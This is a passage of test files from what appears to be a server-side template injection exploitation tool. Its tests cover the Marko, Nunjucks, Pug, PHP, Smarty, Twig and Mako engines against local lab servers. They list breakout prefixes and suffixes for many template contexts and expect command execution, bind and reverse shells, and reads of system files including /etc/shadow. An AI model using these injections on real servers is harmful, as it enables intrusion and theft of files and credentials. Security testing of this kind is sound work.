75 | expected_data.update({ 'prefix': '*/', 'suffix' : '/*'})
76 |
77 | del channel.data['os']
78 |
79 | self.assertEqual(channel.data, expected_data)
--------------------------------------------------------------------------------
/tests/test_node_marko.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.marko import Marko
9 | from basetest import BaseTest
10 |
11 |
12 | class MarkoTests(unittest.TestCase, BaseTest):
13 |
14 | expected_data = {
15 | 'language': 'javascript',
16 | 'engine': 'marko',
17 | 'evaluate' : 'javascript' ,
18 | 'execute' : True,
19 | 'read' : True,
20 | 'write' : True,
21 | 'prefix' : '',
22 | 'suffix': '',
23 | 'render': '${%(code)s}',
24 | 'header': '${"%(header)s"}',
25 | 'trailer': '${"%(trailer)s"}',
26 | 'bind_shell' : True,
27 | 'reverse_shell': True
28 | }
29 |
30 | expected_data_blind = {
31 | 'language': 'javascript',
32 | 'engine': 'marko',
33 | 'blind': True,
34 | 'execute_blind' : True,
35 | 'evaluate_blind' : 'javascript',
36 | 'write': True,
37 | 'prefix' : '',
38 | 'suffix' : '',
39 | 'bind_shell' : True,
40 | 'reverse_shell': True
41 | }
42 |
43 | url = 'http://127.0.0.1:15004/marko?inj=*&tpl=%s'
44 | url_blind = 'http://127.0.0.1:15004/blind/marko?inj=*&tpl=%s'
45 | plugin = Marko
46 |
47 |
48 | blind_tests = [
49 | (0, 0, 'AAA%sAAA', {}),
50 | ]
51 |
52 | reflection_tests = [
53 | (0, 0, '%s', {}),
54 | (0, 0, 'AAA%sAAA', {}),
55 | (1, 0, '${%s}', { 'prefix': '1}', 'suffix' : '${"1"' }),
56 | (2, 0, '', { 'prefix': '1/>', 'suffix' : '' }),
57 | (2, 0, '', { 'prefix': '1/>', 'suffix' : '' }),
58 | ]
--------------------------------------------------------------------------------
/tests/test_node_nunjucks.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.nunjucks import Nunjucks
9 | from basetest import BaseTest
10 |
11 |
12 | class NunjucksTests(unittest.TestCase, BaseTest):
13 |
14 | expected_data = {
15 | 'language': 'javascript',
16 | 'engine': 'nunjucks',
17 | 'evaluate' : 'javascript' ,
18 | 'execute' : True,
19 | 'read' : True,
20 | 'write' : True,
21 | 'prefix' : '',
22 | 'suffix': '',
23 | 'trailer': '{{%(trailer)s}}',
24 | 'header': '{{%(header)s}}',
25 | 'render': '{{%(code)s}}',
26 | 'bind_shell' : True,
27 | 'reverse_shell': True
28 | }
29 |
30 | expected_data_blind = {
31 | 'language': 'javascript',
32 | 'engine': 'nunjucks',
33 | 'evaluate_blind' : 'javascript',
34 | 'blind': True,
35 | 'execute_blind' : True,
36 | 'write': True,
37 | 'prefix' : '',
38 | 'suffix' : '',
39 | 'bind_shell' : True,
40 | 'reverse_shell': True
41 | }
42 |
43 | url = 'http://127.0.0.1:15004/nunjucks?inj=*&tpl=%s'
44 | url_blind = 'http://127.0.0.1:15004/blind/nunjucks?inj=*&tpl=%s'
45 | plugin = Nunjucks
46 |
47 |
48 | blind_tests = [
49 | (0, 0, 'AAA%sAAA', {}),
50 | (5, 1, "{% for item in %s %}{% endfor %}", {'prefix': '1 %}{% endfor %}{% for a in [1] %}', 'suffix' : ''}),
51 | (1, 3, "{% if 1 in [%s] %}{% endif %}", {'prefix': '1} %}', 'suffix' : ''}),
52 | ]
53 |
54 | reflection_tests = [
55 | (0, 0, '%s', {}),
56 | (0, 0, 'AAA%sAAA', {}),
57 | (1, 0, "{{ %s }}", { 'prefix': '1}}', 'suffix' : '{{1' }),
58 | (0, 0, "{% block title %}%s{% endblock %}", {}),
59 | (1, 0, "{% set foo = '%s' %}", { 'prefix': "1' %}", 'suffix' : '' }),
60 | (5, 2, "{% set %s = 1 %}", { 'prefix': 'a = 1 %}', 'suffix' : '' }),
61 | (5, 1, "{% for item in %s %}{% endfor %}", {'prefix': '1 %}{% endfor %}{% for a in [1] %}', 'suffix' : ''}),
62 | (1, 0, "{% if %s == 1 %}{% endif %}", {'prefix': '1 %}', 'suffix' : ''}),
63 | (1, 2, "{% if 1 in %s %}{% endif %}", {'prefix': '"1" %}', 'suffix' : ''}),
64 | (1, 3, "{% if 1 in [%s] %}{% endif %}", {'prefix': '1} %}', 'suffix' : ''}),
65 |
66 | # Comment blocks
67 | (5, 1, '{# %s #}', { 'prefix' : '#}', 'suffix' : '{#' }),
68 | ]
--------------------------------------------------------------------------------
/tests/test_node_pug.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.pug import Pug
9 | from basetest import BaseTest
10 |
11 |
12 | class PugTest(unittest.TestCase, BaseTest):
13 |
14 | expected_data = {
15 | 'language': 'javascript',
16 | 'engine': 'pug',
17 | 'evaluate' : 'javascript' ,
18 | 'execute' : True,
19 | 'read' : True,
20 | 'write' : True,
21 | 'prefix' : '',
22 | 'suffix': '',
23 | 'trailer': '\n= %(trailer)s\n',
24 | 'header': '\n= %(header)s\n',
25 | 'render': '\n= %(code)s\n',
26 | 'bind_shell' : True,
27 | 'reverse_shell': True
28 | }
29 |
30 | expected_data_blind = {
31 | 'language': 'javascript',
32 | 'engine': 'pug',
33 | 'blind': True,
34 | 'execute_blind' : True,
35 | 'evaluate_blind' : 'javascript',
36 | 'write': True,
37 | 'prefix' : '',
38 | 'suffix' : '',
39 | 'bind_shell' : True,
40 | 'reverse_shell': True
41 | }
42 |
43 | url = 'http://127.0.0.1:15004/pug?inj=*&tpl=%s'
44 | url_blind = 'http://127.0.0.1:15004/blind/pug?inj=*&tpl=%s'
45 | plugin = Pug
46 |
47 |
48 | blind_tests = [
49 | (0, 0, 'AAA%sAAA', {}),
50 | (2, 2, '- var %s = true', { 'prefix' : 'a\n', 'suffix' : '//' }),
51 | ]
52 |
53 | reflection_tests = [
54 | (0, 0, '%s', {}),
55 | (0, 0, 'AAA%sAAA', {}),
56 |
57 | (1, 0, 'a(href=\'%s\')', { 'prefix' : '1\')', 'suffix' : '//' }),
58 | (1, 0, 'a(href="%s")', { 'prefix' : '1")', 'suffix' : '//' }),
59 | (0, 0, '#container.%s', { }),
60 | (2, 1, '#{%s}', { 'prefix' : '1}', 'suffix' : '//' }),
61 |
62 | (2, 2, '- var %s = true', { 'prefix' : 'a\n', 'suffix' : '//' }),
63 | (2, 1, '- var a = %s', { 'prefix': '1\n', 'suffix' : '//' }),
64 |
65 | ]
66 |
67 | def test_reflection_quotes(self):
68 |
69 | obj, data = self._get_detection_obj_data(self.url % '')
70 |
71 | if obj.get('execute'):
72 | result = obj.execute("""echo 1"2"'3'\\"\\'""")
73 | self.assertEqual(result, """123"'""")
74 |
75 | if not self.url_blind:
76 | return
77 |
78 | obj, data = self._get_detection_obj_data(self.url_blind % '')
79 | if obj.get('execute_blind'):
80 | self.assertTrue(obj.execute_blind("""echo 1"2"'3'\\"\\'"""))
--------------------------------------------------------------------------------
/tests/test_php_php.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.languages.php import Php
9 | from core.channel import Channel
10 | from core.checks import detect_template_injection
11 | from basetest import BaseTest, EXTRA_DOWNLOAD
12 |
13 |
14 | class PhpTests(unittest.TestCase, BaseTest):
15 |
16 | expected_data = {
17 | 'language': 'php',
18 | 'engine': 'php',
19 | 'evaluate' : 'php' ,
20 | 'execute' : True,
21 | 'read' : True,
22 | 'write' : True,
23 | 'prefix' : '',
24 | 'suffix': '',
25 | 'render': """%(code)s""",
26 | 'header': """print_r('%(header)s');""",
27 | 'trailer': """print_r('%(trailer)s');""",
28 | 'bind_shell' : True,
29 | 'reverse_shell': True
30 | }
31 |
32 | expected_data_blind = {
33 | 'language': 'php',
34 | 'engine': 'php',
35 | 'blind': True,
36 | 'execute_blind' : True,
37 | 'evaluate_blind' : 'php',
38 | 'write': True,
39 | 'prefix' : '',
40 | 'suffix' : '',
41 | 'bind_shell' : True,
42 | 'reverse_shell': True
43 | }
44 |
45 | url = 'http://localhost:15002/eval.php?inj=*&tpl=%s'
46 | url_blind = 'http://localhost:15002/eval.php?inj=*&tpl=%s&blind=1'
47 | plugin = Php
48 |
49 |
50 | blind_tests = [
51 | (0, 0, '%s', {}),
52 | (1, 3, '["%s"]', { 'prefix': '1"];', 'suffix' : '//' }),
53 | ]
54 |
55 | reflection_tests = [
56 | (0, 0, '%s', {}),
57 | (2, 0, 'if("%s"=="2"){}', { 'prefix' : '1")', 'suffix' : '//'}),
58 | (1, 3, '["%s"]', { 'prefix': '1"];', 'suffix' : '//' }),
59 | ]
60 |
61 | def test_download(self):
62 |
63 | # This is overriden due to the slight
64 | # difference from the base test_download()
65 | # obj.read('/dev/null') -> None
66 |
67 | obj, data = self._get_detection_obj_data(self.url % '')
68 | self.assertEqual(data, self.expected_data)
69 |
70 | if not EXTRA_DOWNLOAD:
71 | return
72 |
73 | # Normal ASCII file
74 | readable_file = '/etc/resolv.conf'
75 | content = open(readable_file, 'r').read()
76 | self.assertEqual(content, obj.read(readable_file))
77 |
78 | # Long binary file
79 | readable_file = '/bin/ls'
80 | content = open(readable_file, 'rb').read()
81 | self.assertEqual(content, obj.read(readable_file))
82 |
83 | # Non existant file
84 | self.assertEqual(None, obj.read('/nonexistant'))
85 | # Unpermitted file
86 | self.assertEqual(None, obj.read('/etc/shadow'))
87 | # Empty file
88 | self.assertEqual(None, obj.read('/dev/null'))
89 |
--------------------------------------------------------------------------------
/tests/test_php_smarty_secured.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.smarty import Smarty
9 | from core.channel import Channel
10 | from core.checks import detect_template_injection
11 | from basetest import BaseTest
12 |
13 | class SmartySecuredTest(unittest.TestCase, BaseTest):
14 |
15 | expected_data = {
16 | 'language': 'php',
17 | 'engine': 'smarty',
18 | 'trailer': '{%(trailer)s}',
19 | 'header': '{%(header)s}',
20 | 'render': '%(code)s',
21 | 'prefix' : '',
22 | 'suffix' : '',
23 | }
24 |
25 | expected_data_blind = {
26 | 'language': 'php',
27 | 'engine': 'smarty',
28 | 'evaluate_blind': 'php',
29 | 'blind': True,
30 | 'prefix' : '',
31 | 'suffix' : '',
32 | }
33 |
34 | url = 'http://127.0.0.1:15002/smarty-3.1.32-secured.php?inj=*&tpl=%s'
35 | url_blind = 'http://127.0.0.1:15002/smarty-3.1.32-secured.php?inj=*&tpl=%s&blind=1'
36 | plugin = Smarty
37 |
38 | # The secured Smarty can't executes any PHP hence no sleep(1) hence no
39 | # blind tests for now
40 | blind_tests = [
41 | ]
42 |
43 | reflection_tests = [
44 | (0, 0, '%s', { }),
45 | (0, 0, 'AAA%sAAA', {}),
46 | (1, 0, '{%s}', { 'prefix': '1}', 'suffix' : '{'}),
47 | (5, 1, '{if %s}\n{/if}', { 'prefix': '1}{/if}{if 1}', 'suffix' : ''}),
48 | (5, 1, '{if (%s)}\n{/if}', { 'prefix': '1)}{/if}{if 1}', 'suffix' : ''}),
49 | (1, 1, '{html_select_date display_days=%s}', { 'prefix': '1}', 'suffix' : '{'}),
50 | (1, 1, '{html_options values=%s}', { 'prefix': '1}', 'suffix' : '{'}),
51 | (5, 1, '{assign value="" var="%s" value=""}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}),
52 | (5, 1, '{assign value="" var="" value="%s"}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}),
53 | (5, 1, '{assign value="" var="" value="`%s`"}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}),
54 | ]
55 |
56 | def test_custom_injection_tag(self):
57 |
58 | template = '{* %s *}'
59 |
60 | channel = Channel({
61 | 'url' : self.url.replace('*', '~') % template,
62 | 'force_level': [ 5, 5 ],
63 | 'injection_tag': '~',
64 | 'technique': 'RT'
65 | })
66 |
67 | detect_template_injection(channel, [ self.plugin ])
68 |
69 | expected_data = self.expected_data.copy()
70 | expected_data.update({ 'prefix': '*}', 'suffix' : '{*'})
71 |
72 | self.assertEqual(channel.data, expected_data)
73 |
74 | def test_download(self):
75 | pass
76 |
77 | def test_upload(self):
78 | pass
79 |
80 | def test_upload_blind(self):
81 | pass
--------------------------------------------------------------------------------
/tests/test_php_smarty_unsecured.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.smarty import Smarty
9 | from core.channel import Channel
10 | from core.checks import detect_template_injection
11 | from basetest import BaseTest, EXTRA_DOWNLOAD
12 |
13 | class SmartyUnsecuredTest(unittest.TestCase, BaseTest):
14 |
15 | expected_data = {
16 | 'language': 'php',
17 | 'engine': 'smarty',
18 | 'evaluate' : 'php' ,
19 | 'execute' : True,
20 | 'write': True,
21 | 'read': True,
22 | 'trailer': '{%(trailer)s}',
23 | 'header': '{%(header)s}',
24 | 'render': '%(code)s',
25 | 'prefix' : '',
26 | 'suffix' : '',
27 | 'bind_shell' : True,
28 | 'reverse_shell': True
29 | }
30 |
31 | expected_data_blind = {
32 | 'language': 'php',
33 | 'engine': 'smarty',
34 | 'evaluate_blind': 'php',
35 | 'execute_blind': True,
36 | 'write': True,
37 | 'blind': True,
38 | 'prefix' : '',
39 | 'suffix' : '',
40 | 'bind_shell' : True,
41 | 'reverse_shell': True
42 | }
43 |
44 | url = 'http://127.0.0.1:15002/smarty-3.1.32-unsecured.php?inj=*&tpl=%s'
45 | url_blind = 'http://127.0.0.1:15002/smarty-3.1.32-unsecured.php?inj=*&tpl=%s&blind=1'
46 | plugin = Smarty
47 |
48 | blind_tests = [
49 | (0, 0, 'AAA%sAAA', {}),
50 | (5, 1, '{assign value="" var="%s" value=""}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}),
51 | ]
52 |
53 | reflection_tests = [
54 | (0, 0, '%s', { }),
55 | (0, 0, 'AAA%sAAA', {}),
56 | (1, 0, '{%s}', { 'prefix': '1}', 'suffix' : '{'}),
57 | (5, 1, '{if %s}\n{/if}', { 'prefix': '1}{/if}{if 1}', 'suffix' : ''}),
58 | (5, 1, '{if (%s)}\n{/if}', { 'prefix': '1)}{/if}{if 1}', 'suffix' : ''}),
59 | (1, 1, '{html_select_date display_days=%s}', { 'prefix': '1}', 'suffix' : '{'}),
60 | (1, 1, '{html_options values=%s}', { 'prefix': '1}', 'suffix' : '{'}),
61 | (5, 1, '{assign value="" var="%s" value=""}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}),
62 | (5, 1, '{assign value="" var="" value="%s"}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}),
63 | (5, 1, '{assign value="" var="" value="`%s`"}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}),
64 |
65 | ]
66 |
67 | def test_custom_injection_tag(self):
68 |
69 | template = '{* %s *}'
70 |
71 | channel = Channel({
72 | 'url' : self.url.replace('*', '~') % template,
73 | 'force_level': [ 5, 5 ],
74 | 'injection_tag': '~',
75 | 'technique': 'RT'
76 | })
77 |
78 | detect_template_injection(channel, [ self.plugin ])
79 |
80 | expected_data = self.expected_data.copy()
81 | expected_data.update({ 'prefix': '*}', 'suffix' : '{*'})
82 |
83 | del channel.data['os']
84 | self.assertEqual(channel.data, expected_data)
85 |
86 | def test_download(self):
87 |
88 | # This is overriden due to the slight
89 | # difference from the base test_download()
90 | # obj.read('/dev/null') -> None
91 |
92 | obj, data = self._get_detection_obj_data(self.url % '')
93 | self.assertEqual(data, self.expected_data)
94 |
95 | if not EXTRA_DOWNLOAD:
96 | return
97 |
98 | # Normal ASCII file
99 | readable_file = '/etc/resolv.conf'
100 | content = open(readable_file, 'r').read()
101 | self.assertEqual(content, obj.read(readable_file))
102 |
103 | # Long binary file
104 | readable_file = '/bin/ls'
105 | content = open(readable_file, 'rb').read()
106 | self.assertEqual(content, obj.read(readable_file))
107 |
108 | # Non existant file
109 | self.assertEqual(None, obj.read('/nonexistant'))
110 | # Unpermitted file
111 | self.assertEqual(None, obj.read('/etc/shadow'))
112 | # Empty file
113 | self.assertEqual(None, obj.read('/dev/null'))
114 |
--------------------------------------------------------------------------------
/tests/test_php_twig_secured.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.twig import Twig
9 | from core.channel import Channel
10 | from basetest import BaseTest
11 |
12 | class TwigSecuredTest(unittest.TestCase, BaseTest):
13 |
14 | expected_data = {
15 | 'language': 'php',
16 | 'engine': 'twig',
17 | 'trailer': '{{%(trailer)s}}',
18 | 'header': '{{%(header)s}}',
19 | 'render': '{{%(code)s}}',
20 | 'prefix' : '',
21 | 'suffix' : '',
22 | }
23 |
24 | url = 'http://127.0.0.1:15002/twig-1.20.0-secured.php?tpl=%s&inj=*'
25 | url_blind = ''
26 |
27 | plugin = Twig
28 |
29 | blind_tests = [
30 |
31 | ]
32 |
33 | reflection_tests = [
34 | (0, 0, "%s", {}),
35 | (0, 0, "AAA%sAAA", {}),
36 | (1, 0, "{{ %s }}", { 'prefix': '1}}', 'suffix' : '{{1' }),
37 | (0, 0, "{% block title %}%s{% endblock %}", {}),
38 | (1, 0, "{% set foo = '%s' %}", { 'prefix': "1' %}", 'suffix' : '' }),
39 | (5, 2, "{% set %s = 1 %}", { 'prefix': 'a = 1 %}', 'suffix' : '' }),
40 | (5, 1, "{% for item in %s %}{% endfor %}", {'prefix': '1 %}{% endfor %}{% for a in [1] %}', 'suffix' : ''}),
41 | (1, 0, "{% if %s == 1 %}{% endif %}", {'prefix': '1 %}', 'suffix' : ''}),
42 | (1, 2, "{% if 1 in %s %}{% endif %}", {'prefix': '"1" %}', 'suffix' : ''}),
43 | (1, 3, "{% if 1 in [%s] %}{% endif %}", {'prefix': '1] %}', 'suffix' : ''}),
44 | #(1, 4, "{{ \"iterpo#{%s}lation\" }}", { 'prefix': '1}}}', 'suffix' : '' }),
45 | ]
46 |
47 | # Defuse download tests, capabilities not available
48 | def test_download(self):
49 | pass
50 |
51 | # Defuse upload tests, capabilities not available
52 | def test_upload(self):
53 | pass
54 |
55 | def test_upload_blind(self):
56 | pass
--------------------------------------------------------------------------------
/tests/test_php_twig_unsecured.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.twig import Twig
9 | from core.channel import Channel
10 | from basetest import BaseTest
11 |
12 | class TwigUnsecuredTest(unittest.TestCase, BaseTest):
13 |
14 | expected_data = {
15 | 'language': 'php',
16 | 'engine': 'twig',
17 | 'evaluate' : 'php',
18 | 'execute' : True,
19 | 'write': True,
20 | 'read': True,
21 | 'trailer': '{{%(trailer)s}}',
22 | 'header': '{{%(header)s}}',
23 | 'render': '{{%(code)s}}',
24 | 'prefix' : '',
25 | 'suffix' : '',
26 | 'bind_shell' : True,
27 | 'reverse_shell': True
28 | }
29 |
30 | expected_data_blind = {
31 | 'language': 'php',
32 | 'engine': 'twig',
33 | 'evaluate_blind': 'php',
34 | 'execute_blind': True,
35 | 'write': True,
36 | 'blind': True,
37 | 'prefix' : '',
38 | 'suffix' : '',
39 | 'bind_shell' : True,
40 | 'reverse_shell': True
41 | }
42 |
43 | url = 'http://127.0.0.1:15002/twig-1.19.0-unsecured.php?tpl=%s&inj=*'
44 | url_blind = 'http://127.0.0.1:15002/twig-1.19.0-unsecured.php?tpl=%s&inj=*&blind=1'
45 |
46 | plugin = Twig
47 |
48 | blind_tests = [
49 |
50 | ]
51 |
52 | reflection_tests = [
53 | (0, 0, "%s", {}),
54 | (0, 0, "AAA%sAAA", {}),
55 | (1, 0, "{{ %s }}", { 'prefix': '1}}', 'suffix' : '{{1' }),
56 | (0, 0, "{% block title %}%s{% endblock %}", {}),
57 | (1, 0, "{% set foo = '%s' %}", { 'prefix': "1' %}", 'suffix' : '' }),
58 | (5, 2, "{% set %s = 1 %}", { 'prefix': 'a = 1 %}', 'suffix' : '' }),
59 | (5, 1, "{% for item in %s %}{% endfor %}", {'prefix': '1 %}{% endfor %}{% for a in [1] %}', 'suffix' : ''}),
60 | (1, 0, "{% if %s == 1 %}{% endif %}", {'prefix': '1 %}', 'suffix' : ''}),
61 | (1, 2, "{% if 1 in %s %}{% endif %}", {'prefix': '"1" %}', 'suffix' : ''}),
62 | (1, 3, "{% if 1 in [%s] %}{% endif %}", {'prefix': '1] %}', 'suffix' : ''}),
63 | #(1, 4, "{{ \"iterpo#{%s}lation\" }}", { 'prefix': '1}}}', 'suffix' : '' }),
64 | ]
--------------------------------------------------------------------------------
/tests/test_py_mako.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(10, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.mako import Mako
9 | from core.channel import Channel
10 | from utils import rand
11 | from utils import strings
12 | from basetest import BaseTest
13 |
14 | class MakoTest(unittest.TestCase, BaseTest):
15 |
16 | expected_data = {
17 | 'language': 'python',
18 | 'engine': 'mako',
19 | 'evaluate' : 'python',
20 | 'execute' : True,
21 | 'read': True,
22 | 'write': True,
23 | 'prefix' : '',
24 | 'suffix' : '',
25 | 'trailer': '${%(trailer)s}',
26 | 'header': '${%(header)s}',
27 | 'render': '${%(code)s}',
28 | 'bind_shell' : True,
29 | 'reverse_shell': True
30 | }
31 |
32 | expected_data_blind = {
33 | 'language': 'python',
34 | 'engine': 'mako',
35 | 'blind': True,
36 | 'write': True,
37 | 'prefix' : '',
38 | 'suffix' : '',
39 | 'evaluate_blind': 'python',
40 | 'execute_blind': True,
41 | 'bind_shell' : True,
42 | 'reverse_shell': True
43 | }
44 |
45 | url = 'http://127.0.0.1:15001/reflect/mako?tpl=%s&inj=*'
46 | url_blind = 'http://127.0.0.1:15001/blind/mako?tpl=%s&inj=*'
47 |
48 | plugin = Mako
49 |
50 | blind_tests = [
51 | (0, 0, 'AAA%sAAA', {}),
52 | (1, 5, '<%% a=set(["""%s"""]) %%>', { 'prefix' : '1"""])%>', 'suffix' : '<%#' }),
53 | ]
54 |
55 | reflection_tests = [
56 |
57 | # Text context
58 | (0, 0, '%s', {}),
59 | (0, 0, 'AAA%sAAA', {}),
60 |
61 | # Reflecting tag ${} context
62 | (1, 1, '${ %s = 1 }', { 'prefix': '1}', 'suffix' : '' }),
63 | (1, 1, '${%s}', { 'prefix': '1}', 'suffix' : '' }),
64 | (1, 1, '${ \'%s\' }', { 'prefix': '1\'}', 'suffix' : '' }),
65 | (1, 1, '${ "%s" }', { 'prefix': '1"}', 'suffix' : '' }),
66 | (1, 3, '${ """%s""" }', { 'prefix': '1"""}', 'suffix' : '' }),
67 | (1, 2, '${ range(%s) }', { 'prefix': '1)}', 'suffix' : '' }),
68 | (1, 2, '${ set(\'%s\') }', { 'prefix': '1\')}', 'suffix' : '' }),
69 | (1, 2, '${ set("%s") }', { 'prefix': '1")}', 'suffix' : '' }),
70 | (1, 3, '${ set("""%s""") }', { 'prefix': '1""")}', 'suffix' : '' }),
71 |
72 | (1, 3, '${[%s]}', { 'prefix': '1]}', 'suffix' : '' }),
73 | (1, 3, '${ [\'%s\'] }', { 'prefix': '1\']}', 'suffix' : '' }),
74 | (1, 3, '${ ["%s"] }', { 'prefix': '1"]}', 'suffix' : '' }),
75 | (1, 3, '${ ["""%s"""] }', { 'prefix': '1"""]}', 'suffix' : '' }),
76 | (1, 5, '${ set([%s]) }', { 'prefix': '1])}', 'suffix' : '' }),
77 | (1, 5, '${ set([\'%s\']) }', { 'prefix': '1\'])}', 'suffix' : '' }),
78 | (1, 5, '${ set(["%s"]) }', { 'prefix': '1"])}', 'suffix' : '' }),
79 | (1, 5, '${ set(["""%s"""]) }', { 'prefix': '1"""])}', 'suffix' : '' }),
80 |
81 | (1, 3, '${{%s}}', { 'prefix': '1}}', 'suffix' : '' }),
82 | (1, 3, '${{1:%s}}', { 'prefix': '1}}', 'suffix' : '' }),
83 | (1, 3, '${ {1:\'%s\'} }', { 'prefix': '1\'}}', 'suffix' : '' }),
84 | (1, 3, '${ {1:"%s"} }', { 'prefix': '1"}}', 'suffix' : '' }),
85 | (1, 3, '${ {1:"""%s"""} }', { 'prefix': '1"""}}', 'suffix' : '' }),
86 | (1, 3, '${{3:4, %s:1}}', { 'prefix': '1:1}}', 'suffix' : '' }),
87 | (1, 3, '${ {\'%s\':1} }', { 'prefix': '1\'}}', 'suffix' : '' }),
88 | (1, 3, '${ {"%s":1} }', { 'prefix': '1"}}', 'suffix' : '' }),
89 | (1, 3, '${ {"""%s""":1} }', { 'prefix': '1"""}}', 'suffix' : '' }),
90 |
91 | # Code blocks context
92 | (1, 1, '<%% %s %%>', { 'prefix' : '1%>', 'suffix' : '<%#' }),
93 | (1, 1, '<%%! %s %%>', { 'prefix' : '1%>', 'suffix' : '<%#' }),
94 | (1, 1, '<%% %s=1 %%>', { 'prefix' : '1%>', 'suffix' : '<%#' }),
95 | (1, 1, '<%% a=%s %%>', { 'prefix' : '1%>', 'suffix' : '<%#' }),
96 | (1, 1, '<%% a=\'%s\' %%>', { 'prefix' : '1\'%>', 'suffix' : '<%#' }),
97 | (1, 1, '<%% a="%s" %%>', { 'prefix' : '1"%>', 'suffix' : '<%#' }),
98 | (1, 3, '<%% a="""%s""" %%>', { 'prefix' : '1"""%>', 'suffix' : '<%#' }),
99 | (1, 3, '<%% a=range(%s) %%>', { 'prefix' : '1)%>', 'suffix' : '<%#' }),
100 | (1, 3, '<%% a=\'\'.join(\'%s\') %%>', { 'prefix' : '1\')%>', 'suffix' : '<%#' }),
101 | (1, 3, '<%% a=\'\'.join("%s") %%>', { 'prefix' : '1\")%>', 'suffix' : '<%#' }),
102 | (1, 3, '<%% a=\'\'.join("""%s""") %%>', { 'prefix' : '1""")%>', 'suffix' : '<%#' }),
103 |
104 |
105 | (1, 3, '<%% a=[%s] %%>', { 'prefix' : '1]%>', 'suffix' : '<%#' }),
106 | (1, 3, '<%% a=[\'%s\'] %%>', { 'prefix' : '1\']%>', 'suffix' : '<%#' }),
107 | (1, 3, '<%% a=["%s"] %%>', { 'prefix' : '1"]%>', 'suffix' : '<%#' }),
108 | (1, 3, '<%% a=["""%s"""] %%>', { 'prefix' : '1"""]%>', 'suffix' : '<%#' }),
109 | (1, 5, '<%% a=set([%s]) %%>', { 'prefix' : '1])%>', 'suffix' : '<%#' }),
110 | (1, 5, '<%% a=set([\'%s\']) %%>', { 'prefix' : '1\'])%>', 'suffix' : '<%#' }),
111 | (1, 5, '<%% a=set(["%s"]) %%>', { 'prefix' : '1"])%>', 'suffix' : '<%#' }),
112 | (1, 5, '<%% a=set(["""%s"""]) %%>', { 'prefix' : '1"""])%>', 'suffix' : '<%#' }),
113 |
114 | (1, 3, '<%% a={%s} %%>', { 'prefix' : '1}%>', 'suffix' : '<%#' }),
115 | (1, 3, '<%% a={1:%s} %%>', { 'prefix' : '1}%>', 'suffix' : '<%#' }),
116 | (1, 3, '<%% a={1:\'%s\'} %%>', { 'prefix' : '1\'}%>', 'suffix' : '<%#' }),
117 | (1, 3, '<%% a={1:"%s"} %%>', { 'prefix' : '1"}%>', 'suffix' : '<%#' }),
118 | (1, 3, '<%% a={1:"""%s"""} %%>', { 'prefix' : '1"""}%>', 'suffix' : '<%#' }),
119 | (1, 3, '<%% a={3:2, %s:1} %%>', { 'prefix' : '1:1}%>', 'suffix' : '<%#' }),
120 | (1, 3, '<%% a={\'%s\':1}] %%>', { 'prefix' : '1\'}%>', 'suffix' : '<%#' }),
121 | (1, 3, '<%% a={"%s":1}] %%>', { 'prefix' : '1"}%>', 'suffix' : '<%#' }),
122 | (1, 3, '<%% a={"""%s""":1} %%>', { 'prefix' : '1"""}%>', 'suffix' : '<%#' }),
123 |
124 | # if and for blocks context
125 | (5, 5, '%% if %s:\n%% endif', { 'prefix' : '1:#\n', 'suffix' : '\n' }),
126 | (5, 5, '%% for a in %s:\n%% endfor', { 'prefix' : '"1":#\n', 'suffix' : '\n' }),
127 | (5, 5, '%% if %s==1:\n%% endif', { 'prefix' : '1:#\n', 'suffix' : '\n' }),
128 | (5, 5, '%% if \'%s\'==1:\n%% endif', { 'prefix' : '1\':#\n', 'suffix' : '\n' }),
129 | (5, 5, '%% if "%s"==1:\n%% endif', { 'prefix' : '1":#\n', 'suffix' : '\n' }),
130 | (5, 5, '%% if """%s"""==1:\n%% endif', { 'prefix' : '1""":#\n', 'suffix' : '\n' }),
131 | (5, 5, '%% if (1, %s)==1:\n%% endif', { 'prefix' : '1):#\n', 'suffix' : '\n' }),
132 | (5, 5, '%% if (1, \'%s\')==1:\n%% endif', { 'prefix' : '1\'):#\n', 'suffix' : '\n' }),
133 | (5, 5, '%% if (1, "%s")==1:\n%% endif', { 'prefix' : '1"):#\n', 'suffix' : '\n' }),
134 | (5, 5, '%% if (1, """%s""")==1:\n%% endif', { 'prefix' : '1"""):#\n', 'suffix' : '\n' }),
135 |
136 | (5, 5, '%% if [%s]==1:\n%% endif', { 'prefix' : '1]:#\n', 'suffix' : '\n' }),
